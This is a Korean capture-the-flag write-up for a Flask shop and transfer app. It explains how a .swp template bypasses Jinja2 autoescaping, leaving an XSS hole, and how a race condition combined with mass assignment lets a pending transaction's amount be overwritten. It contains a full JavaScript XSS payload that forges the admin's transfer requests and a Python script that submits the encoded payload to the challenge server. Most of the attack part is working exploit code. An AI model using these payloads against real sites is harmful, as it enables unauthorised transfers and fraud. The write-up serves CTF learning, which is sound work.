물건구매,송금,faq기능이 있는 플라스크로 구현된 구매 페이지이다.
1.xss
case 'faq':#get
question = request.args.get('question')
if question:
user_question_tfidf = tfidf_vectorizer.transform([question])
cosine_similarities = linear_kernel(user_question_tfidf, tfidf_matrix).flatten()
most_similar_index = cosine_similarities.argsort()[-1]
label = faq_data[most_similar_index]['label']
listdir = sorted(os.listdir('templates/faq/answers'))
for file in listdir:
if label in file:
template = '/faq/answers/' + file
context['question'] = question
break
else:
flash('Answer not found, please contact us', 'danger')
template = 'faq/faq.html'
else:
template = 'faq/faq.html'
에서 faq에서 내가 넣은 검색어랑 가장 유사한 label을 찾고 파일명안에 label이있으면 template으로 사용하는 코드이다. 여기서 answers파일중에 .intermediaries.html.swp 파일이있는데 플라스크에서 템플릿을 랜더링할때
jinja2.select_autoescape 함수에서
jinja2.select_autoescape(enabled_extensions=('html', 'htm', 'xml'), disabled_extensions=(), default_for_string=True, default=False)
기본값은 html,htm,xml만 이스케이프를 해주기때문에 .swp파일을 통해 이스케이프를 탈출할 수 있다. 이를 통해 xss가능
xss를 통해 어드민이 나에게 송금하는 post요청을 보내도록 할 수 있다.
2. 큰값 송금
어드민은 송금이 가능한데 10원이하로 송금해서는 목표인 999999999원을 채울 수 없다.따라서 더 큰값을 송금해줘야하는데
코드에서는 내가 송금시도하면 confirm_transaction과 send_transaction을 스케쥴러를 통해서 따로 관리하기 때문에 race컨디션을 통하여 confirm된 이후에 send되기전에 값을 올려버릴 수 있다.
form_data = dict(request.form)
transaction = Transaction.update_or_create(current_user.id, form_data)
에서 인자가 키가 제한된게 아니라 request.form을 dict화 해서 넣어주기때문에
@classmethod
def update_or_create(cls, sender_id, data):
transaction_id = data.get('transaction_id')
data['sender_id'] = sender_id
data['status'] = 'pending'
if transaction_id:
del data['status']
existing_transaction = cls.query.get(transaction_id)
if existing_transaction:
if existing_transaction.sender_id == sender_id:
for key, value in data.items():
setattr(existing_transaction, key, value)
else:
return None
else:
new_transaction = cls(**data)
db.session.add(new_transaction)
db.session.commit()
return existing_transaction if transaction_id else new_transaction
에서 이미있는 transaction_id를 넣어주면 10원 이상의 더 큰값으로 덮어씌울 수있다.
Do you have a press kit available that includes company logos and release templates?
<script>
async function attack() {
const f = new URLSearchParams();
f.append("recipient", "selenselen");
f.append("amount", "1");
await fetch("/?action=create-transaction", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
credentials: "include",
body: f
});
setTimeout(async () => {
const e = new URLSearchParams();
e.append("recipient", "selenselen");
e.append("transaction_id", """ + str(num) + """ );
e.append("amount", "1000000000");
await fetch("/?action=create-transaction", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
credentials: "include",
body: e
});
}, 20)
}
attack();
</script>
로 1원 보내고 20밀리세컨드후에 1000000000원 으로 덮어씌우는 xss용 html코드이다. 띄어쓰기가있으면안되고 url인코딩을 해줘야한다.
익스코드
import requests
url="https://hackchan-mjk2mpay.ctf.pro/"
#url="http://localhost:8000/"
cookie={
"session":""
}
params={
"action":"order-problem",
"uuid":"be5e8466-5ed0-4e36-8e41-0841d4a19381"
}
num=90
attack_text=""
for i in range(40):
attack_text+="""http://web:8000/?action=faq&question=Do%20you%20have%20a%20press%20kit%20available%20that%20includes%20company%20logos%20and%20release%20templates?<script>async%20function%20attack(){const%20f=new%20URLSearchParams();f.append("recipient","selenselen");f.append("amount","1");await%20fetch("/?action=create-transaction",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},credentials:"include",body:f});setTimeout(async()=>{const%20e=new%20URLSearchParams();e.append("recipient","selenselen");e.append("transaction_id",\""""+str(num)+"""\");e.append("amount","1000000000");await%20fetch("/?action=create-transaction",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},credentials:"include",body:e})},20)}attack();</script>\n"""
data={
"message":attack_text,
}
print(attack_text)
result=requests.post(url,params=params,data=data,cookies=cookie)
print(result.text)
로 익스에 성공하였다.
